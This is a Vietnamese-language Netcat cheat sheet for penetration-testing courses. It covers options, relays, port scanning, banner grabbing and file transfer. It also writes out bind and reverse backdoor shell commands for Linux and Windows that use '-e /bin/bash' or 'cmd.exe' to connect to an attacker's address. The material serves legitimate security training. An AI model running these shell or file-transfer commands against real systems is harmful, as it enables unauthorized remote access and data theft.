Bảng tóm tắt này cung cấp các mẹo khác nhau để sử dụng Netcat trên cả Linux và Unix, được điều chỉnh riêng cho các khóa học SANS 504, 517 và 560 và các lớp CEH, CPENT, LPT hay Security+, Pentest+ và CySA+. Tất cả cú pháp được thiết kế cho các phiên bản Netcat gốc, do Hobbit và Weld Pond phát hành. Cú pháp này có thể được điều chỉnh cho các phiên bản Netcat khác, bao gồm ncat, gnu Netcat và các phiên bản khác.

Tài liệu bao gồm các phần chính sau:

  1. Giới thiệu và cú pháp cơ bản của Netcat
  2. Các tùy chọn lệnh chính của Netcat
  3. Chuyển tiếp Netcat trên Windows
  4. Cơ bản về Netcat (client và listener)
  5. Chuyển tiếp Netcat trên Linux
  6. Tạo shell backdoor
  7. Chuyển file
  8. Quét cổng TCP
  9. Công cụ lấy banner TCP

Cú pháp cơ bản:

1$ nc [tùy chọn] [Địa chỉ IP đích] [cổng]

[Địa chỉ IP đích] đơn giản là địa chỉ IP hoặc tên miền của máy đích. Nó bắt buộc ở chế độ client (vì chúng ta phải cho client biết kết nối đến đâu), và tùy chọn ở chế độ lắng nghe.

Các tùy chọn chính:

  • -l: Chế độ lắng nghe (mặc định là chế độ client)
  • -L: Lắng nghe liên tục (chỉ hỗ trợ trên phiên bản Windows của Netcat). Tùy chọn này làm cho Netcat trở thành một trình lắng nghe liên tục, bắt đầu lắng nghe lại sau khi client ngắt kết nối
  • -u: Chế độ UDP (mặc định là TCP)
  • -p: Cổng cục bộ (Trong chế độ lắng nghe, đây là cổng được lắng nghe. Trong chế độ client, đây là cổng nguồn cho tất cả các gói tin được gửi)
  • -e: Chương trình để thực thi sau khi kết nối xảy ra, kết nối STDIN và STDOUT với chương trình
  • -n: Không thực hiện tra cứu DNS trên tên của máy ở phía bên kia
  • -z: Chế độ Zero-I/O (Không gửi bất kỳ dữ liệu nào, chỉ phát ra một gói tin không có payload)
  • -wN: Thời gian chờ kết nối, đợi N giây sau khi đóng STDIN. Một client hoặc listener Netcat với tùy chọn này sẽ đợi N giây để tạo kết nối. Nếu kết nối không xảy ra trong thời gian đó, Netcat sẽ dừng chạy.
  • -v: Hiển thị thông tin chi tiết, in ra các thông báo trên Standard Error, chẳng hạn như khi kết nối xảy ra
  • -vv: Hiển thị thông tin rất chi tiết, in ra nhiều thông tin hơn nữa trên Standard Error

Ví dụ minh họa:

  1. Kết nối cơ bản từ client đến server:
1$ nc 192.168.1.100 80

Lệnh này sẽ kết nối đến địa chỉ IP 192.168.1.100 trên cổng 80.

  1. Tạo một listener trên cổng cục bộ:
1$ nc -l -p 8080

Lệnh này sẽ tạo một listener Netcat trên cổng cục bộ 8080.

  1. Quét cổng TCP:
1$ nc -v -n -z -w1 192.168.1.100 1-1000

Lệnh này sẽ quét các cổng từ 1 đến 1000 trên địa chỉ IP 192.168.1.100.

  1. Truyền file từ client đến listener:
12Trên máy listener: $ nc -l -p 9999 > file_nhan.txtTrên máy client: $ nc -w3 192.168.1.100 9999 < file_gui.txt

Các lệnh này sẽ truyền file từ máy client đến máy listener.

  1. Tạo một shell backdoor:
12Trên máy đích (Linux): $ nc -l -p 4444 -e /bin/bashTrên máy tấn công: $ nc 192.168.1.100 4444

Lệnh này sẽ tạo một shell backdoor trên máy đích và cho phép máy tấn công kết nối đến nó.

Đây chỉ là một số ví dụ cơ bản. Netcat là một công cụ rất mạnh mẽ và linh hoạt, có thể được sử dụng trong nhiều tình huống khác nhau trong lĩnh vực bảo mật mạng và quản trị hệ thống.

Chuyển tiếp Netcat trên Windows

Để bắt đầu, hãy vào một thư mục tạm thời nơi chúng ta sẽ tạo các tệp .bat:

1C:\> cd c:\temp

Chuyển tiếp từ Listener đến Client:

12C:\> echo nc [Địa chỉ IP đích] [cổng] > relay.batC:\> nc –l –p [Cổng cục bộ] –e relay.bat

Tạo một chuyển tiếp gửi gói tin từ cổng cục bộ [Cổng cục bộ] đến một Client Netcat kết nối tới [Địa chỉ IP đích] trên cổng [cổng]

Chuyển tiếp từ Listener đến Listener:

12C:\> echo nc –l –p [Cổng cục bộ_2] > relay.batC:\> nc –l –p [Cổng cục bộ_1] –e relay.bat

Tạo một chuyển tiếp sẽ gửi gói tin từ bất kỳ kết nối nào trên [Cổng cục bộ_1] đến bất kỳ kết nối nào trên [Cổng cục bộ_2]

Chuyển tiếp từ Client đến Client:

12C:\> echo nc [Địa chỉ IP Hop tiếp theo] [cổng2] > relay.batC:\> nc [Địa chỉ IP Hop trước] [cổng] –e relay.bat

Tạo một chuyển tiếp sẽ gửi gói tin từ kết nối đến [Địa chỉ IP Hop trước] trên cổng [cổng] đến một Client Netcat kết nối tới [Địa chỉ IP Hop tiếp theo] trên cổng [cổng2]

Cơ bản về Netcat (Client/Server)

1$ nc [Địa chỉ IP đích] [cổng]

Kết nối đến một cổng tùy ý [cổng] tại Địa chỉ IP [Địa chỉ IP đích]

Listener Netcat cơ bản:

1$ nc –l -p [Cổng cục bộ]

Tạo một Netcat listener trên cổng cục bộ tùy ý [Cổng cục bộ]

Cả client và listener đều nhận đầu vào từ STDIN và gửi dữ liệu nhận được từ mạng đến STDOUT

Chuyển tiếp Netcat trên Linux

Để bắt đầu, tạo một FIFO (named pipe) gọi là backpipe:

12$ cd /tmp$ mknod backpipe p

Chuyển tiếp từ Listener đến Client:

1$ nc –l –p [Cổng cục bộ] 0<backpipe | nc [Địa chỉ IP đích] [cổng] | tee backpipe

Tạo một chuyển tiếp gửi gói tin từ cổng cục bộ [Cổng cục bộ] đến một client Netcat kết nối tới [Địa chỉ IP đích] trên cổng [cổng]

Chuyển tiếp từ Listener đến Listener:

1$ nc –l –p [Cổng cục bộ_1] 0<backpipe | nc –l –p [Cổng cục bộ_2] | tee backpipe

Tạo một chuyển tiếp gửi gói tin từ bất kỳ kết nối nào trên [Cổng cục bộ_1] đến bất kỳ kết nối nào trên [Cổng cục bộ_2]

Chuyển tiếp từ Client đến Client:

1$ nc [Địa chỉ IP Hop trước] [cổng] 0<backpipe | nc [Địa chỉ IP Hop tiếp theo] [cổng2] | tee backpipe

Tạo một chuyển tiếp gửi gói tin từ kết nối đến [Địa chỉ IP Hop trước] trên cổng [cổng] đến một client Netcat kết nối tới [Địa chỉ IP Hop tiếp theo] trên cổng [cổng2]

Shell backdoor

Shell backdoor lắng nghe trên Linux:

1$ nc –l –p [Cổng cục bộ] –e /bin/bash

Shell backdoor lắng nghe trên Windows:

1C:\> nc –l –p [Cổng cục bộ] –e cmd.exe

Tạo một shell trên cổng cục bộ [Cổng cục bộ] sau đó có thể được truy cập bằng một client Netcat cơ bản

Shell backdoor đảo ngược trên Linux:

1$ nc [Địa chỉ IP của bạn] [cổng] –e /bin/bash

Shell backdoor đảo ngược trên Windows:

1C:\> nc [Địa chỉ IP của bạn] [cổng] –e cmd.exe

Tạo một shell đảo ngược sẽ cố gắng kết nối đến [Địa chỉ IP của bạn] trên cổng cục bộ [cổng]. Shell này sau đó có thể được bắt bằng một listener nc cơ bản

Chuyển file

Đẩy file từ client đến listener:

1$ nc –l -p [Cổng cục bộ] > [tệp đầu ra]

Lắng nghe trên [Cổng cục bộ], lưu kết quả vào [tệp đầu ra]

1$ nc –w3 [Địa chỉ IP đích] [cổng] < [tệp đầu vào]

Đẩy [tệp đầu vào] đến [Địa chỉ IP đích] trên [cổng]

Kéo file từ listener về client:

1$ nc –l -p [Cổng cục bộ] < [tệp đầu vào]

Lắng nghe trên [Cổng cục bộ], chuẩn bị đẩy [tệp đầu vào]

1$ nc –w3 [Địa chỉ IP đích] [cổng] > [tệp đầu ra]

Kết nối đến [Địa chỉ IP đích] trên [cổng] và lấy [tệp đầu ra]

Quét cổng TCP

Quét cổng một Địa chỉ IP:

1$ nc –v –n –z –w1 [Địa chỉ IP đích] [cổng_bắt_đầu]-[cổng_kết_thúc]

Cố gắng kết nối đến mỗi cổng trong một khoảng từ [cổng_kết_thúc] đến [cổng_bắt_đầu] trên Địa chỉ IP [Địa chỉ IP đích] chạy ở chế độ chi tiết (-v trên Linux, -vv trên Windows), không phân giải tên (-n), không gửi bất kỳ dữ liệu nào (-z), và đợi không quá 1 giây cho một kết nối xảy ra (-w1)

Công cụ lấy banner TCP

Lấy banner của bất kỳ dịch vụ TCP nào đang chạy trên một Địa chỉ IP từ Linux:

1$ echo "" | nc –v –n –w1 [Địa chỉ IP đích] [cổng_bắt_đầu]-[cổng_kết_thúc]

Cố gắng kết nối đến mỗi cổng trong một khoảng từ [cổng_kết_thúc] đến [cổng_bắt_đầu] trên Địa chỉ IP [Địa chỉ IP đích] chạy ở chế độ chi tiết (-v), không phân giải tên (-n), và đợi không quá 1 giây cho một kết nối xảy ra (-w1). Sau đó gửi một chuỗi trống đến cổng mở và in ra bất kỳ banner nào nhận được trong phản hồi

Thêm -r để chọn ngẫu nhiên cổng đích trong khoảng
Thêm -p [cổng] để chỉ định một cổng nguồn cho quét

Netcat là một công cụ mạnh mẽ và linh hoạt trong lĩnh vực bảo mật mạng và quản trị hệ thống. Nó có thể được sử dụng cho nhiều mục đích khác nhau như kiểm tra kết nối, truyền file, tạo shell backdoor, và quét cổng. Tuy nhiên, cần lưu ý rằng một số trong những chức năng này có thể bị lạm dụng cho mục đích độc hại, vì vậy cần sử dụng một cách có trách nhiệm và tuân thủ các quy định về đạo đức và pháp luật.

Thịnh hành